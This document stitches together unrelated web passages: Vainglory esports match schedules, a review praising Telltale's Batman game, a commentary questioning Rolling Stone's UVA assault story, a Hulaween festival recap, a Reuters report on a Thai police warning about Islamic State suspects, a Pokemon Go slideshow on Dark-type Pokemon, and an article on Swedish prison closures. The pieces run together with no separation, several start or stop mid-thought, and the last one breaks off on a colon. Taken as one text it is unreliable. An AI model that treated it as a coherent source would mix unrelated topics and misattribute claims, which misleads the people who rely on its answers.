Click to see NA schedule MATCH 1: 2:00PM PDT TSM vs TRIBE GAMING MATCH 2: 3:30PM* PDT GANKSTARS vs HAMMERS MATCH 3: 3:30PM PDT ROGUE vs NOVA MATCH 4: 5:00PM PDT CLOUD9 vs TEMPO STORM
SUNDAY, SEPTEMBER 24
Click to see EU schedule SEMIFINAL 1: 17:00 BST MATCH 1 WINNER vs MATCH 2 WINNER SEMIFINAL 2: 18:30 BST MATCH 3 WINNER vs MATCH 4 WINNER THIRD PLACE: 20:00* BST SEMIFINAL 1 LOSER vs SEMIFINAL 2 LOSER FINAL: 20:00 BST SEMIFINAL 1 WINNER vs SEMIFINAL 2 WINNER
Click to see NA schedule SEMIFINAL 1: 2:00PM PDT MATCH 1 WINNER vs MATCH 2 WINNER SEMIFINAL 2: 3:30PM PDT MATCH 3 WINNER vs MATCH 4 WINNER THIRD PLACE: 5:00PM* PDT SEMIFINAL 1 LOSER vs SEMIFINAL 2 LOSER FINAL: 5:00PM PDT SEMIFINAL 1 WINNER vs SEMIFINAL 2 WINNER
SATURDAY, SEPTEMBER 30
Click to see EU schedule MATCH 1: 17:00 BST FNATIC vs G2 ESPORTS MATCH 2: 18:30* BST SALTY POTATOES vs TEAM Qlash MATCH 3: 18:30 BST G2 ESPORTS vs MOUSESPORTS MATCH 4: 20:00 BST SK GAMING vs CALAMITY REBORN
Click to see NA schedule MATCH 1: 2:00PM PDT TSM vs NOVA MATCH 2: 3:30PM* PDTz ROGUE vs TEMPO STORM MATCH 3: 3:30PM PDT TRIBE GAMING vs HAMMERS MATCH 4: 5:00PM PDT CLOUD9 vs GANKSTARS
SUNDAY, OCTOBER 1
Click to see EU schedule SEMIFINAL 1: 17:00 BST MATCH 1 WINNER vs MATCH 2 WINNER SEMIFINAL 2: 18:30 BST MATCH 3 WINNER vs MATCH 4 WINNER THIRD PLACE: 20:00* BST SEMIFINAL 1 LOSER vs SEMIFINAL 2 LOSER FINAL: 20:00 BST SEMIFINAL 1 WINNER vs SEMIFINAL 2 WINNER
Click to see NA schedule SEMIFINAL 1: 2:00PM PDT MATCH 1 WINNER vs MATCH 2 WINNER SEMIFINAL 2: 3:30PM PDT MATCH 3 WINNER vs MATCH 4 WINNER THIRD PLACE: 5:00PM* PDT SEMIFINAL 1 LOSER vs SEMIFINAL 2 LOSER FINAL: 5:00PM PDT SEMIFINAL 1 WINNER vs SEMIFINAL 2 WINNER
SATURDAY, OCTOBER 7
Click to see EU schedule MATCH 1: 17:00 BST SK GAMING vs MOUSESPORTS MATCH 2: 18:30* BST SALTY POTATOES vs FNATIC MATCH 3: 18:30 BST G2 ESPORTS vs CALAMITY REBORN MATCH 4: 20:00 BST TEAM QLASH vs DYNASTY
Click to see NA schedule MATCH 1: 2:00PM PDT GANKSTARS vs TSM MATCH 2: 3:30PM* PDT CLOUD9 vs HAMMERS MATCH 3: 3:30PM PDT ROGUE vs TRIBE GAMING MATCH 4: 5:00PM PDT TEMPO STORM vs NOVA
SUNDAY, OCTOBER 8
Click to see EU schedule SEMIFINAL 1: 17:00 BST MATCH 1 WINNER vs MATCH 2 WINNER SEMIFINAL 2: 18:30 BST MATCH 3 WINNER vs MATCH 4 WINNER THIRD PLACE: 20:00* BST SEMIFINAL 1 LOSER vs SEMIFINAL 2 LOSER FINAL: 20:00 BST SEMIFINAL 1 WINNER vs SEMIFINAL 2 WINNER
Click to see NA schedule SEMIFINAL 1: 2:00PM PDT MATCH 1 WINNER vs MATCH 2 WINNER SEMIFINAL 2: 3:30PM PDT MATCH 3 WINNER vs MATCH 4 WINNER THIRD PLACE: 5:00PM* PDT SEMIFINAL 1 LOSER vs SEMIFINAL 2 LOSER FINAL: 5:00PM PDT SEMIFINAL 1 WINNER vs SEMIFINAL 2 WINNER
SATURDAY, OCTOBER 21
Click to see EU schedule MATCH 1: 17:00 BST CALAMITY REBORN vs FNATIC MATCH 2: 18:30* BST SK GAMING vs DYNASTY MATCH 3: 18:30 BST MOUSESPORTS vs SALTY POTATOES MATCH 4: 20:00 BST TEAM QLASH vs G2 ESPORTS
Click to see NA schedule MATCH 1: 2:00PM PDT CLOUD9 vs TRIBE GAMING MATCH 2: 3:30PM* PDT TSM vs ROGUE MATCH 3: 3:30PM PDT NOVA vs GANKSTARS MATCH 4: 5:00PM PDT HAMMERS vs TEMPO STORM
SUNDAY, OCTOBER 22
Click to see EU schedule SEMIFINAL 1: 17:00 BST MATCH 1 WINNER vs MATCH 2 WINNER SEMIFINAL 2: 18:30 BST MATCH 3 WINNER vs MATCH 4 WINNER THIRD PLACE: 20:00* BST SEMIFINAL 1 LOSER vs SEMIFINAL 2 LOSER FINAL: 20:00 BST SEMIFINAL 1 WINNER vs SEMIFINAL 2 WINNER
Click to see NA schedule SEMIFINAL 1: 2:00PM PDT MATCH 1 WINNER vs MATCH 4 WINNER SEMIFINAL 2: 3:30PM PDT MATCH 1 WINNER vs MATCH 3 WINNER THIRD PLACE: 5:00PM* PDT SEMIFINAL 1 LOSER vs SEMIFINAL 2 LOSER FINAL: 5:00PM PDT SEMIFINAL 1 WINNER vs SEMIFINAL 2 WINNER
SATURDAY, OCTOBER 28
Click to see EU schedule MATCH 1: 17:00 BST MOUSESPORTS vs TEAM QLASH MATCH 2: 18:30* BST CALAMITY REBORN vs SALTY POTATOES MATCH 3: 18:30 BST SK GAMING vs G2 ESPORTS MATCH 4: 20:00 BST DYNASTY vs FNATIC
Click to see NA schedule MATCH 1: 2:00PM PDT TEMPO STORM vs TRIBE GAMING MATCH 2: 3:30PM* PDT GANKSTARS vs ROGUE MATCH 3: 3:30PM PDT CLOUD9 vs NOVA MATCH 4: 5:00PM PDT HAMMERS vs TSM
SUNDAY, OCTOBER 29
Click to see EU schedule SEMIFINAL 1: 16:00 GMT MATCH 1 WINNER vs MATCH 2 WINNER SEMIFINAL 2: 17:30 GMT MATCH 3 WINNER vs MATCH 4 WINNER THIRD PLACE: 19:00* GMT SEMIFINAL 1 LOSER vs SEMIFINAL 2 LOSER FINAL: 19:00 GMT SEMIFINAL 1 WINNER vs SEMIFINAL 2 WINNER
Click to see NA schedule SEMIFINAL 1: 2:00PM PDT MATCH 1 WINNER vs MATCH 2 WINNER SEMIFINAL 2: 3:30PM PDT MATCH 3 WINNER vs MATCH 4 WINNER THIRD PLACE: 5:00PM* PDT SEMIFINAL 1 LOSER vs SEMIFINAL 2 LOSER FINAL: 5:00PM PDT SEMIFINAL 1 WINNER vs SEMIFINAL 2 WINNER
SATURDAY, NOVEMBER 4
Click to see EU schedule MATCH 1: 16:00 GMT SK GAMING vs FNATIC MATCH 2: 17:30* GMT TEAM QLASH vs CALAMITY REBORN MATCH 3: 17:30 GMT DYNASTY vs SALTY POTATOES MATCH 4: 19:00 GMT MOUSESPORTS vs G2 ESPORTS
Click to see NA schedule MATCH 1: 2PM PDT CLOUD9 vs TSM MATCH 2: 3:30PM* PDT TEMPO STORM vs GANKSTARS MATCH 3: 3:30PM PDT HAMMERS vs ROGUE MATCH 4: 5:00PM PDT TRIBE GAMING vs NOVA
SUNDAY, NOVEMBER 5
Click to see EU schedule SEMIFINAL 1: 17:00 GMT MATCH 1 WINNER vs MATCH 2 WINNER SEMIFINAL 2: 18:30 GMT MATCH 3 WINNER vs MATCH 4 WINNER THIRD PLACE: 20:00* GMT SEMIFINAL 1 LOSER vs SEMIFINAL 2 LOSER FINAL: 20:00 GMT SEMIFINAL 1 WINNER vs SEMIFINAL 2 WINNER
Click to see NA schedule SEMIFINAL 1: 2:00PM PST MATCH 1 WINNER vs MATCH 4 WINNER SEMIFINAL 2: 3:30PM PST MATCH 2 WINNER vs MATCH 3 WINNER THIRD PLACE: 5:00PM* PST SEMIFINAL 1 LOSER vs SEMIFINAL 2 LOSER FINAL: 5:00PM PST SEMIFINAL 1 WINNER vs SEMIFINAL 2 WINNER
SATURDAY, NOVEMBER 11
Click to see EU schedule MATCH 1: 17:00 GMT SK GAMING vs SALTY POTATOES MATCH 2: 18:30 GMT G2 ESPORTS vs DYNASTY MATCH 3: 18:30* GMT MOUSESPORTS vs CALAMITY REBORN MATCH 4: 20:00 GMT FNATIC vs TEAM QLASH
Click to see NA schedule MATCH 1: 2:00PM PST CLOUD9 vs ROGUE MATCH 2: 3:30PM* PST NOVA vs HAMMERS MATCH 3: 3:30PM PST GANKSTARS vs TRIBE GAMING MATCH 4: 5:00PM PST TSM vs TEMPO STORM
SUNDAY, NOVEMBER 12
Click to see EU schedule SEMIFINAL 1: 17:00 GMT MATCH 1 WINNER vs MATCH 2 WINNER SEMIFINAL 2: 18:30 GMT MATCH 3 WINNER vs MATCH 4 WINNER THIRD PLACE: 20:00* GMT SEMIFINAL 1 LOSER vs SEMIFINAL 2 LOSER FINAL: 20:00 GMT SEMIFINAL 1 WINNER vs SEMIFINAL 2 WINNER
Click to see NA schedule SEMIFINAL 1: 2:00PM PST MATCH 1 WINNER vs MATCH 2 WINNER SEMIFINAL 2: 3:30PM PST MATCH 3 WINNER vs MATCH 4 WINNER THIRD PLACE: 5:00PM* PST SEMIFINAL 1 LOSER vs SEMIFINAL 2 LOSER FINAL: 5:00PM PST SEMIFINAL 1 WINNER vs SEMIFINAL 2 WINNER
*Matches noted with an asterisk not broadcast on main Vainglory esports broadcast channel. Will be broadcasted live by VIS on related channels.
SUNDAY, NOVEMBER 16-19
CHALLENGE BATTLES
I’ve seen every Batman movie as well as every cartoon. Everyone has their favorite Batman as well as which individual movie was their favorite (Hint – Michael Keaton was the best, Clooney the worst, Affleck is way overrated). The Keaton film was released in 1989, exactly 50 years after Batman’s first appearance in 1939. It was the first modern day Batman film outside of the Adam West version, and it set the stage for the caped crusader films moving forward. Every movie since then has had one thing in common regardless of whether or not you liked the film; their focus on Batman. We all know Bruce Wayne’s story. For 78 year’s it’s been just that; a story. Every Batman film made has focused on Batman to varying degrees, but not Bruce Wayne. Certain films, like both Clooney and Kilmer’s Batman, crashed and burned inevitably due to poor design. Telltale has taken the best of both worlds, and managed to do so with their very own, unique story while avoiding pitfalls.
Let’s break it down a bit. Batman is supposed to be dark. This is why the first two Keaton films were a success. He realized that you can’t change the overall personality of a “superhero” and not have it impact the fan base. It’s also the reason why he turned down a third film in Batman Forever when he heard Director Joel Schumacher ask “Why does everything have to be so dark?” The most intriguing part about Batman is how Bruce Wayne is able to keep both personalities separate. It’s always been the billionaire playboy vs. badass vigilante. These two approaches are like oil and water and won’t mix if you try to swap them. This is why the Clooney and Kilmer films failed. Their version of Batman was like a college frat guy in the bat suit. I mean hell, Kilmer’s bat suit had nipples for christ sake. Nipples! It’s not like I’m the only one who is critical of this film either. After all, Clooney’s Batman is consistently rated the worst superhero film of all time alongside Ryan Reynolds’ Green Lantern. Its not like we needed him to, but Clooney HIMSELF has admitted it.
The simple reason for this, and why Telltale’s version of Batman is the best one so far, is simply change. For superheros, change is a powerful thing and has to be done the right way. Little details can be changed as long as they are explained the right way, but fans don’t like it when the core back story of their favorite superhero is changed for no reason other than the sake of change. It’s like Cheez-its over Cheese Nips and Oreos over Hydrox: Some things just shouldn’t be changed. Batman being a badass is just one of those things. Nobody wants Batman: the Party Guy. Telltale realized this and pulled it off flawlessly in their version of Batman. Not only did they provide a new story with original villain, but they also explored Bruce Wayne’s personality in a way that was never seen before in relation to Batman.
In Batman: The Telltale Series, Batman remained his usual, bad-ass self while Bruce Wayne dealt with the fallout. He is human after all, and players had a chance to see how the actions we took as Batman impacted the man that is Bruce Wayne. The ability to play as Bruce Wayne also allowed us the opportunity to make choices which would impact Batman. This was incredibly original as it was never in games before or shown in film. Being able to maintain the prototypical bad-ass Batman while having him go through incredibly emotional experiences as Bruce Wayne was an amazing undertaking by Telltale. It let us as fans see what was behind the cape and cowl emotionally while not changing Batman’s behavior. This sort of attachment echoes with fans, and is the reason that Telltale was able to make such an incredible game.
Fans have and will forever associate with emotion. We’re human beings, and the emotional aspect allows us to further identify with characters, therefore immersing ourselves in the story more. The intrigue of Batman has always been the idea of fans thinking how they would fight crime if they were uber-rich like Bruce. This was of course a pipe dream as none of us are ever going to be billionaire crime fighters. Batman: The Telltale Series transformed our view of Batman from imagination to more of a reality with their depiction of Bruce Wayne. For the first time, players could think “Oh man, I didn’t think about that” when considering what they’d do if they were Batman. This, along with the status quo bad-ass Batman, made us appreciate Batman the person while maintaining the aura of Batman the superhero.
Think about it, what better way to let fans associate with Batman than to make it as realistic as possible for us to pretend what it would be like if we actually were Batman? This is what Telltale has done. They have created a story about Batman that A) makes him more personally relateable without changing his behavior, B) Introduced a new villain, C) Provided a unique back story on three existing villains, D) Did so without sacrificing any core material for fans. Doing just one of these is hard enough, as we’ve seen many failures from other franchise such as Green Lanter, Superman Returns and Batman & Robin. Somehow, Telltale managed to take all four of these aspects (six if you count each of the three new villains separately) and present them in a way that blended flawlessly for an amazing story.
The story was so appalling, the attack so brutish and morally offensive, that it provoked an immediate, furious response. The university faculty banded together to sign letters demanding action; Charlottesville’s archipelago of off-campus fraternity houses would be scuppered for the rest of the semester, perhaps longer; the national and international media turned their focus toward the University of Virginia, for precisely the wrong reasons.
All of this was provoked by an eye-popping and stomach-churning story in the latest issue of Rolling Stone that details a 2012 gang rape at a university fraternity house.
Here are the broad contours of the alleged assault, as reported by Rolling Stone journalist Sabrina Rubin Erdely: As a freshman in her first month at the University of Virginia, 18-year-old Jackie attended a party at the Phi Kappa Psi fraternity house, the guest of a handsome upperclassman whom Erdely pseudonymously identifies as “Drew.” Soon after her arrival, a very sober Jackie is led upstairs by Drew, hustled into a pitch-dark room, and set upon by a wolfpack of sexual sadists.
She says that seven men took turns raping her, while two others, including Drew, watched, shouting encouragement and abuse at their fellow psychopaths.
The entire ordeal, according to the Rolling Stone account, lasted a staggering three hours, during which Jackie was thrown through a glass table (and sexually assaulted while pinned on a bed of broken glass), punched in the face, repeatedly raped, and brutally penetrated with a beer bottle.
In the aftermath of the assault, Erdely says that Jackie was abandoned not only by Virginia administrators, but her friends (one apparently discouraged her from reporting the rape because “we’ll never be allowed into any frat party again”; another asked her why she didn’t “have fun with it…[with a] bunch of hot Phi Psi guys”; another called her a “baby” ), and her own family (a comment Erdely made in a subsequent radio interview, though not in her original story).
Even the community of rape survivors at the University of Virginia, Erdely told Slate, “are totally devoted to the university” and “buy into the notion…that doing nothing [in response to sexual assault] is a fine option.”
The environment became so toxic, she claims, that in 2014 a fellow student caller her a “feminazi” and “flung a bottle…that broke on the side of her face, leaving a blood-red bruise around her eye.” Whether this more recent assault was reported to the police, or if Jackie knows the identity of the assailant, is left undiscussed and unanswered by Erdely.
As a result of the Rolling Stone report, Virginia quickly suspended all fraternity activities for the semester, toughened its sexual assault policies, and referred Jackie’s case to the local police. Erdely writes that the university hadn’t previously investigated the alleged gang rape—nor do they appear willing to waste time investigating this time around.
University Rector George Keith Martin publically apologized to Jackie: “I would like to say to Jackie and her family that I’m sorry.” Dean Teresa A. Sullivan praised the “overwhelming response by this community to condemn the evil acts” reported by Rolling Stone.
But in the weeks since her blockbuster story, Erdely’s reporting—and certain details of the story—have come under intense scrutiny from journalists and commentators across the political spectrum.
Washington Post media reporter Erik Wemple knocked Erdely’s failure to interview any of the nine men Jackie accused of participating in the attack. (Wemple does a good job outlining the main journalistic objections to the piece here, which he derides as “flimsy” and full of “half-hearted” reporting.)
And despite her recent claims that she was merely telling Jackie’s story, her initial defense was that she was, in essence, not a particularly dogged reporter: “[The nine men] were kind of hard to get in touch with because their contact page was pretty outdated, but I wound up speaking…with their local president who sent me an email and then I talked with their national guy who’s kind of like their national crisis manager.”
At Slate, Allison Benedikt and Hanna Rosin subtly and methodically picked apart Erdely’s strange journalistic methodology, while also questioning certain incongruities in her story.
Even Erdely herself has retreated from fully accepting Jackie’s story, now saying that “there’s no doubt in my mind that something happened to her that night. What exactly happened, you know, I wasn’t in that room (emphasis added).” Rolling Stone has since issued a carefully worded statement similarly distancing itself from Jackie’s claims, saying that they found her “credible” but stopping far short of declaring her story to be carefully vetted and judged to be true.
So allow me the enormous, should-be-obvious caveat (that will nevertheless be ignored): I obviously have even less of an idea what happened inside that fraternity house. Indeed, it’s possible that Jackie is telling the ugly, unvarnished truth.
But what if that charges are false? Outside the ideological fever swamps, most skepticism has been respectful and reasoned (though Rolling Stone’s mainstream defenders often aren’t).
One cannot wade into issues like this, it seems, without standing accused of wanting to uncover a hoax in an order to deny the existence of sexual assault on campus. On the cruder end, those investigating Jackie’s claims are being denounced as “rape denialists” complicit in “rape victim smearing.”
That word “denialism” is particularly profane, with its unsubtle invocation of the Holocaust. And it doesn’t take long for subtlety to be ditched in favor of the blunt instrument of Reductio ad Hitlerum.
Feminist writer Amanda Marcotte tweeted that “it’s really time for people to understand that rape denialism is like Holocaust denialism: a broad refusal to face reality.” It’s unclear what constitutes denialism (are Hanna Rosin and Erik Wemple the Ernst Zündel and David Irving of rape culture?), and if a natural skepticism of a story that should raise eyebrows automatically casts one in the league of drooling fascists.
Do I even need to point out that we only have Jackie’s account of that evening at Phi Kappa Psi and not, say, the voluminous documentation—film, photographs, first-hand witnesses, party archives, trial transcripts—of the Final Solution?
If comparisons to fanatical anti-Semites seem like a bit of heavy-breathing, how about the parallels with those who believe the United States government (or Mossad) killed 3,000 American citizens on September 11? On Twitter, New York magazine contributing editor Marin Cogan dismissed those casting doubt on the Rolling Stone story as “UVA truthers.”
If you think something doesn’t smell right about the story, keep those doubts to yourself; if not, get ready to be accused of being complicit in creating a culture of fear that silences rape victims.
A day after publishing a slightly skeptical take on the story by feminist writer Judith Shulevitz, The New Republic’s Rebecca Traister denounced such skepticism as “symptomatic of exactly the patterns of incredulity and easy dismissal of rape accusations that keep many assaulted women and men from ever bringing their stories to authorities or to the public.”
A University of Virginia activist quoted in the Rolling Stone piece later told her campus newspaper that those questioning Jackie’s account “discourage reporting [rape] when they make comments that don’t support survivors.”
A writer in the Los Angeles Times declaimed one columnist’s criticism of the story as “the type of ill-informed berating that makes victims of sexual assault afraid to come forward in the first place.” The New Republic’s version of this sentiment: “Those who have been assaulted or raped should feel that telling their stories will not automatically result in their own character assassination…” And New York magazine: “Their skepticism of writer Sabrina Erdely mirrors the disproportionate scrutiny that sexual assault victims face at the hands of the police.”
If these writers are urging something other than holding one’s tongue, I’m not sure exactly what they are suggest writers do when certain bits of evidence don’t add up. This doesn’t mean that we shouldn’t approach these issues with extreme sensitivity—quite the contrary—but the idea that journalists should abandon skepticism in the face of hugely important and consequential claims made in Rolling Stone is an abrogation of one’s duty as a journalist.
And what if the name of the accused rapists leak online, which we can expect will soon happen? If they are innocent—and they are until proven otherwise—is this just an unfortunate cost of always believing those making accusations?
Back in the 1990s, a dean at Vassar College told Time magazine that a false accusation is not only an acceptable price to pay, but might even benefit the falsely accused: “[The wrongly accused] have a lot of pain, but it is not a pain that I would necessarily have spared them. I think it ideally initiates a process of self-exploration. ‘How do I see women?’ ‘If I didn’t violate her, could I have?’ ‘Do I have the potential to do to her what they say I did?’ Those are good questions.”
The Spirit of Suwannee Music Park welcomed the attendees of Hulaween again for its 5th year with a stacked lineup that consisted of numerous artists that curated to my musical tastes. After a two year absence from Suwannee, the nostalgic feeling of being back with a smaller crowd, new art installations, and a plethora of friends I have met over the years. Hulaween did not disappoint!
Same Venue, New Artwork
An exciting feature at Hulaween is the art installations all around Spirit Lake. Every year there are always new features to explore, which can lead to getting yourself lost without a care in the world! The entrance this year to Spirit Lake had two demon-like creatures with water fountains spewing from their mouths. What lies within Spirit Lake is two stages that were fairly smaller than the Amphitheater and Meadow stages. Although the Spirit Lake and Campground stages were smaller, that didn’t take away from the great artists who played at these stages! Some of my favorite sets from the weekend were at the Spirit Lake stage (Russ Liquid Test, Dimond Saints).
Some more interesting artwork within Spirit Lake included a mural maze, numerous creatures made from wood, and even a light installation that was very similar to what Purity Ring has for their stage setup! Night time was the best time to explore Spirit Lake and experience all of it as a whole. Spirit Lake this year reminded me of Electric Forest this year with all of the lasers, lights, and the sense of becoming one with the forest.
Secret Sets, Sit Ins, and Back to Backs
A unique factor at festivals is the surprises artists bring along with them for the weekend. I am always one who loves surprises, so when some of my favorite artists make their sets and presence special, it only makes my experience more sentimental. The first night I was lucky enough to run into two old friends from middle school who just so happened to be playing at the Silent Disco, MZG. It was a perfect way to catch up briefly, but little did I know what they had in store for the entire weekend…
MZG and GRiZ played a pop up DJ set at Pine Fields on Sunday during Space Jesus and drew a decent crowd! What makes it so unique is that GRiZ always says that they do this for fun and the fans love it! But that isn’t it…
I can’t take away from the secret set that MZG played back to back with Space Jesus at Incendia in Spirit Lake to close out Sunday night. I was about to head back to my campsite to conclude a memorable Hulaween, but heard some familiar tracks being played and decided to check out what was going on at Incendia. Upon walking up, I saw that MZG was playing and eventually saw Space Jesus and made the decision to extend my experience. Incendia also hosted a few other secret sets throughout the weekend, one of which was Manic Focus.
After the Russ Liquid Test set was finished on Friday afternoon, it was quite a surprise to see him sit in during Manic Focus’s set at the Amphitheater Stage later that night. Another surprise was Dimond Saints having someone sit in and play the clarinet and saxophone during their set at the Spirit Lake Stage Saturday night. To cap off another surprise, ProbCause made an appearance during GRiZ’s set at the Meadow Stage on Sunday night. He came out and rapped his section of “My Friends And I”. Hulaween loves the collaborations!
The Patch
During my first Hulaween in 2015, The Patch stage did not exist. Upon returning to Suwannee, the Patch stage had already been established back in 2016 and was back again for 2017. This stage featured a handful of artists who I was excited to see. Some familiar artists I have seen (RL Grime, Space Jesus, Lotus) and some new ones I looked forward to seeing live for the first time (Beats Antique, The Disco Biscuits). The stage was located close to my campsite, the Playground, and a few vendors.
The Meadow
The Meadow stage was where the headliners played their fantastic sets. If you had asked me if I were going to make all seven String Cheese Incident sets prior to the festival, I would have said no. Surprisingly, I found myself at all of the Cheese sets and enjoyed every one! The Meadow stage had a similar stage setup to what the String Cheese Incident had at Red Rocks earlier this year. The production of the main stage also consisted of countless lights, a plethora of lasers, and confetti cannons.
The other two headliners that I was completely satisfied with at the main stage were Bassnectar and GRiZ. Friday night Bassnectar closed the Meadow and my expectations were prepared for a trippy set. Instead, he opened with an audio sample from Zoolander into the “Loco Ono Bassnectar and Stylust Beats Remix” and came out swinging with a heavy drum and bass/trap track list. My favorite set of the weekend was Bassnectar and it was my favorite set I have seen him perform at a festival.
GRiZ is always going to be a favorite of mine regardless of how many times I have seen him. My festival squad usually consists of numerous GRiZ family friends I have met over the last two years. In 2015, GRiZ played an afternoon set at the Amphitheater Stage that was absolutely packed. This year, GRiZ closed the Meadow on Sunday night. It is a sweet moment to realize that your favorite artist went from playing an afternoon set to closing Hulaween on Sunday.
Overall, Suwannee Hulaween did not disappoint and lived up to the hype once again. A solid group of people like to say that it is the Electric Forest of the south. The crowd was not super packed and drew a diverse group of individuals. I would recommend this festival to anyone who is looking for a first camping festival to experience!
A security guard checks a car entering the Russia embassy in Bangkok, Thailand, December 4, 2015. REUTERS/Athit Perawongmetha
In the document, Special Branch police urged an intensification of security around “target areas that Russian authorities are concerned about”, including venues associated with allies that have taken part in attacks on IS in Syria.
Russia began air strikes in Syria on Sept. 30 and has stepped up attacks in recent weeks. An IS affiliate claimed responsibility for downing a Russian airliner over Egypt’s Sinai peninsula in October, killing all 224 people on board.
Thailand’s Special Branch, which deals with national security issues, circulated the document to other police units.
Marked “Urgent” and dated Nov. 27, the Special Branch police said intelligence from Russia warned that 10 Syrians “related to” IS entered Thailand between Oct. 15 and Oct. 31. The document was circulating on social media on Thursday.
“The document is real. We received it from Special Branch,” said a police officer who handles international crime matters. He declined to be identified because of the sensitivity of the matter.
“The original communication was by word of mouth between Russian and Thai police. I don’t know how the document leaked.”
The Special Branch said four of the suspects travelled to the seaside city of Pattaya, two to the tourist island of Phuket, two to Bangkok and two to an unknown destination.
Police had not received warnings about IS activity from any other foreign intelligence agency, Deputy Police Spokesman Songpol Wattanachai told reporters, adding that police had no information about their whereabouts, identity or possible targets.
“We’re still trying to work out whether they even came in,” he said, when asked if they could still be in the country.
National Security Council Chief General Thawip Netniyom said security units had been told to be vigilant.
“We have yet to find any unusual movement,” he told reporters. “Everything is safe, rest assured.”
A press officer at the Russian Embassy in Bangkok could not be reached for comment.
“TARGET-RICH”
The Immigration Bureau had found no irregularities among the 21 Syrians who remain in Thailand of the 231 that entered in October, bureau commissioner Nathathorn Prausoontorn told Reuters on Friday.
“There is no information linking them to Islamic State,” he said.
The National Security Council asked the bureau two weeks ago to check on Syrians that had entered since Oct. 1, he said.
The U.N. Office on Drugs and Crime (UNODC) estimates there are 700 to 1,000 foreign Islamist fighters in the region.
“There is a definite connection between Southeast Asia and Syria,” UNODC regional representative Jeremy Douglas said on Friday, adding Thailand would need to work with its neighbours to deal with the threat.
“It’s very plausible that foreign fighters could transit through Bangkok to and from the Middle East,” he said.
The warning comes three months after a Bangkok bomb attack killed 20 people. Authorities said the blast was in retaliation for a crackdown on human smuggling gangs and said it was not a terrorist attack.
A busy tourist destination and hub for businesses and international agencies, Thailand is a “target-rich environment”, said Anthony Davis, a Bangkok-based security analyst with IHS-Jane’s.
Thailand's deputy police spokesman Songpol Wattanachai gestures during a news conference at the Royal Thai Police headquarters in Bangkok, Thailand, December 4, 2015. REUTERS/Chaiwat Subprasom
Corruption and the presence of transnational criminal groups had helped create “a dangerously permissive environment,” he said.
“Post-Sinai, Russian intelligence is going to be asking ‘Where globally are our vulnerabilities?’ Thailand is going to be right at the top of their list,” said Davis.
Slide 1/7 – Poochyena and Mightyena Poochyena and Mightyena could become Pokemon Go's most populous Dark-Type Pokemon. These hyena-like Pokemon were pretty common in Pokemon Ruby and Sapphire, and there's no reason to believe that they won't spawn everywhere when Pokemon Go adds more Pokemon. Mightyena was one of the Pokemon commonly used by Team Magma grunts in the Hoenn region. Although they look and seem dangerous, they're not very powerful and won't make much of an impact in Pokemon Go. Its CP is a bit lower than Sneasel and it doesn't have any impressive stats that could give it a niche in the game. Catching Poochyena and Mightyena will be useful for Stardust purposes, but that's about it.
Slide 2/7 – Nuzleaf and Shiftry Nuzleaf and Shiftry are the evolved form of Seedot, a Grass-Type Pokemon that we expect to commonly spawn in Pokemon Go. As Seedot evolves, it becomes a Grass/Dark dual-type Pokemon, a type combination that we haven't seen before in Pokemon Go. Shiftry has an okay Attack stat, so it could be useful to players who need a secondary Dark-Type attacker. Unfortunately, it has a painfully low Defense stat and plenty of weaknesses, so we don't recommend using it as a gym defender, even though its above average Stamina stat means that it'll have a lot of HP. We don't see Shiftry having much use in Pokemon Go, unless it has access to some new type of attacks.
Slide 3/7 – Sableye Gen 3's weakest Dark-Type Pokemon is Sableye, an impish Pokemon with jeweled eyes. Sableye is actually based on the Hopkinsville Goblin, an infamous alien encounter that supposedly occurred in Kentucky. Sableye's appearance and movements were meant to mimic the Hopkinsville Goblin, although most Pokemon fans won't recognize the resemblance. Before the introduction of Fairy-Type Pokemon, Sableye had no weaknesses in the Pokemon franchise, which made it somewhat useful despite its weak stats. However, since Fairy-Type Pokemon are in the game, Sableye won't be very effective, at least not until Mega Evolutions are added to Pokemon Go.
Slide 4/7 – Carvahna and Sharpedo Carvanhna and Sharpedo are fearsome looking Water/Dark dual types with nasty looking teeth. Sharpedo was one of the signature Pokemon of Team Aqua, the villainous team that players faced off in Pokemon Sapphire. Despite its low CP, Sharpedo could turn out to be a really useful Pokemon in Pokemon Go. Sharpedo has an Attack stat of 243, putting it in the upper echelon of attackers in the game. Although its Defense and Stamina stats are both mediocre, Sharpedo could be a powerful glass cannon in Pokemon Go, able to deal out a lot of damage in a short period before fainting.
Slide 5/7 – Cacturne Cacturne is another Grass/Dark hybrid, but with a better Attack stat than Shiftry. Cacturne's Attack stat is comparable to both Sceptile and Exeggutor, which means that it should be a top tier Grass-Type attacker. Cacturne's secondary Dark-typing might also give it versatility against Psychic-Type Pokemon like Espeon, Mewtwo, or Lugia. Although there's stronger Dark-Type Pokemon, players won't have a ton of options and Cacturne's Attack stats are comparable to that of Houndoom. Cacturne won't be a mainstay on most players' teams, but it should still have its uses.
In fact, instead of building new prisons or holding steady with the number they have, the Swedish government—citing a rapid fall in demand—has now ordered the closure of four prisons.
"We have seen an out-of-the-ordinary decline in the number of inmates," Nils Öberg, the head of Sweden's prison and probation services, explained to the Guardian. "Now we have the opportunity to close down a part of our infrastructure that we don't need at this point of time."
As the Guardian reports:
Prison numbers in Sweden, which have been falling by around 1% a year since 2004, dropped by 6% between 2011 and 2012 and are expected to do the same again both this year and next, Öberg said. As a result, the prison service has this year closed down prisons in the towns of Åby, Håja, Båtshagen, and Kristianstad, two of which will probably be sold and two of which will be passed for temporary use to other government authorities. Öberg said that while nobody knew for sure why prison numbers had dropped so steeply, he hoped that Sweden's liberal prison approach, with its strong focus on rehabilitating prisoners, had played a part.
Swedish authorities explain that this more "liberal" approach includes both the rehabilitation cited, but also a new sentencing structure that has reduced the terms given for drug offenses, theft, and other less serious crimes.
At 112th in the world, Sweden has long been rated well in indexes that calculate the percentage of its population the remains incarcerated. In contrast, the United States has the most heavily-jailed population in the world.
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Again, from the Guardian:
According to data collected by the International Centre for Prison Studies, the five countries with the highest prison population are the US, China, Russia, Brazil and India. The US has a prison population of 2,239,751, equivalent to 716 people per 100,000. China ranks second with 1,640,000 people behind bars, or 121 people per 100,000, while Russia's inmates are 681,600, amounting to 475 individuals per 100,000.
And, as the Congressional Research Service (CRS) reported earlier this year, the U.S. prison population continues to rise at an unprecedented rate, both federally and across many states. Those rates lead to over-crowding, growing costs, and increasingly unsafe institutions. As an Al-Jazeera investigation, following a report from the Government Accountability Office, found:
